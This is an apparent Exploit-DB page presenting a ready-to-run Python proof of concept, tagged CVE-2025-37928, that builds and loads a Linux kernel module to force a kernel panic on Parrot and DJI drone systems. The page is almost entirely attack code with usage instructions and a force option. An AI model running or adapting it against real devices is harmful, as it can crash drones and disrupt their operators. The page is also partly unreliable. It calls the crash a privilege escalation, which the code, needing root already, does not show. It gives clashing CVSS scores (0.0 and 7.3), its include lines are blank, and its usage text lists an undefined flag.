Parrot and DJI variants Drone OSes – Kernel Panic Exploit

Exploit Details

Basic Information

Exploit Title Parrot and DJI variants Drone OSes – Kernel Panic Exploit
Exploit ID EDB-ID:52329
Type exploitdb
Published 2025-06-15T00:00:00
Modified 2025-06-15T00:00:00

CVSS Information

CVSS Score 0.0
Severity NONE
Vector NONE

CVE Information

  • CVE-2025-37928

Exploit Description

!/usr/bin/env python3 Exploit Title: Parrot and DJI variants Drone OSes – Kernel…

Exploit Code

#!/usr/bin/env python3

# Exploit Title: Parrot and DJI variants Drone OSes – Kernel Panic Exploit

# Author: Mohammed Idrees Banyamer

# Instagram: @banyamer_security

# GitHub: https://github.com/mbanyamer

# Date: 2025-06-10

# Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M

# CVE: CVE-2025-37928

# Type: Local Privilege Escalation / Kernel Panic

# Platform: Linux-based drone OS (Parrot and DJI variants)

# Author Country: Jordan

# CVSS v3.1 Score: 7.3 (Important)

# Weakness: CWE-284: Improper Access Control

# Attack Vector: Local

# User Interaction: None

# Scope: Unchanged

# Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic)

# Exploit Code Maturity: Proof of Concept

# Remediation Level: Official Fix Available

#

# Description:

# This PoC triggers a kernel panic by calling schedule() inside an atomic context,

# exploiting CVE-2025-37928 present in certain Linux kernels running on

# Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems.

#

# Steps of exploitation:

# 1. Check if running as root.

# 2. Verify kernel version vulnerability.

# 3. Detect drone type from system files.

# 4. Build and load vulnerable kernel module.

# 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context.

#

# Affected Drone Versions:

# – Parrot QRD

# – Parrot Alpha-M (DT)

# – DJI QRD

# – DJI Alpha-M (DT)

#

# ——————————————————————————

# Usage:

# sudo python3 cve_2025_37928_tool.py [OPTIONS]

#

# Options:

# –dry-run Run detection & build only (no module loading)

# –force Force exploit even if kernel not detected as vulnerable

# –cleanup-only Remove the kernel module without triggering panic

# –verbose Enable detailed logging and debug output

# –help Show usage information

#

# Examples:

# sudo python3 cve_2025_37928_tool.py –dry-run

# sudo python3 cve_2025_37928_tool.py

# sudo python3 cve_2025_37928_tool.py –force

# sudo python3 cve_2025_37928_tool.py –cleanup-only

#

# Warning:

# This PoC causes an immediate kernel panic.

# Use it ONLY in isolated and controlled environments (e.g., lab tests).

# ——————————————————————————

import os

import sys

import subprocess

import tempfile

import argparse

import shutil

import platform

MODULE_NAME = “cve_2025_37928_poc”

C_FILENAME = MODULE_NAME + “.c”

KO_FILENAME = MODULE_NAME + “.ko”

KERNEL_MODULE_CODE = r”’

#include
#include
#include
#include
#include

MODULE_LICENSE(“GPL”);

MODULE_AUTHOR(“PoC Author”);

MODULE_DESCRIPTION(“PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic”);

static void trigger_panic_tasklet(unsigned long data)

{

pr_alert(“[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n”);

schedule(); // This causes kernel panic

}

DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);

static int __init poc_init(void)

{

pr_info(“[CVE-2025-37928] Loading PoC module and scheduling tasklet…\n”);

tasklet_schedule(&my_tasklet);

return 0;

}

static void __exit poc_exit(void)

{

tasklet_kill(&my_tasklet);

pr_info(“[CVE-2025-37928] PoC module unloaded\n”);

}

module_init(poc_init);

module_exit(poc_exit);

”’

MAKEFILE_CONTENT = f”’

obj-m += {MODULE_NAME}.o

all:

\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:

\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

”’

def check_root():

if os.geteuid() != 0:

print(“[-] Must be run as root.”)

sys.exit(1)

def detect_kernel():

version = platform.release()

vulnerable_versions = [“5.10”, “5.15”, “6.0”]

vulnerable = any(v in version for v in vulnerable_versions)

print(f”[i] Kernel version: {version} => {‘VULNERABLE’ if vulnerable else ‘UNKNOWN/SAFE’}”)

return vulnerable

def detect_drone_type():

print(“[*] Detecting drone type…”)

files = [“/etc/drone_type”, “/proc/device-tree/model”, “/sys/firmware/devicetree/base/model”]

found = []

for path in files:

if os.path.exists(path):

try:

with open(path, “r”) as f:

content = f.read().strip()

if any(x in content for x in [“Parrot”, “DJI”]):

found.append(content)

except:

continue

if found:

for d in found:

print(f” [i] Found: {d}”)

else:

print(” [!] No drone ID found.”)

return found

def write_module(tempdir):

c_path = os.path.join(tempdir, C_FILENAME)

makefile_path = os.path.join(tempdir, “Makefile”)

with open(c_path, “w”) as f:

f.write(KERNEL_MODULE_CODE)

with open(makefile_path, “w”) as f:

f.write(MAKEFILE_CONTENT)

return c_path

def build_module(tempdir):

print(“[*] Building module…”)

result = subprocess.run([“make”], cwd=tempdir, capture_output=True, text=True)

if result.returncode != 0:

print(“[-] Build failed:\n”, result.stderr)

sys.exit(1)

print(“[+] Build successful.”)

return os.path.join(tempdir, KO_FILENAME)

def load_module(ko_path):

print(“[*] Loading kernel module…”)

result = subprocess.run([“insmod”, ko_path], capture_output=True, text=True)

if result.returncode != 0:

print(“[-] insmod failed:\n”, result.stderr)

sys.exit(1)

print(“[!] Module loaded. Kernel panic should occur if vulnerable.”)

def unload_module():

print(“[*] Attempting to remove module…”)

subprocess.run([“rmmod”, MODULE_NAME], stderr=subprocess.DEVNULL)

print(“[+] Module removal attempted.”)

def clean_build(tempdir):

subprocess.run([“make”, “clean”], cwd=tempdir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def main():

parser = argparse.ArgumentParser(description=”CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes”)

parser.add_argument(“–dry-run”, action=”store_true”, help=”Only simulate and check environment, no exploitation”)

parser.add_argument(“–force”, action=”store_true”, help=”Force execution even if version unknown”)

parser.add_argument(“–cleanup-only”, action=”store_true”, help=”Just remove kernel module if loaded”)

args = parser.parse_args()

check_root()

if args.cleanup_only:

unload_module()

return

vulnerable = detect_kernel()

detect_drone_type()

if not vulnerable and not args.force:

print(“[-] Kernel not identified as vulnerable. Use –force to override.”)

sys.exit(1)

if args.dry_run:

print(“[*] Dry run mode. Exiting before exploitation.”)

return

with tempfile.TemporaryDirectory() as tempdir:

print(f”[*] Working directory: {tempdir}”)

write_module(tempdir)

ko_path = build_module(tempdir)

try:

load_module(ko_path)

except KeyboardInterrupt:

print(“[!] Interrupted. Attempting cleanup…”)

finally:

unload_module()

clean_build(tempdir)

if __name__ == “__main__”:

main()

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.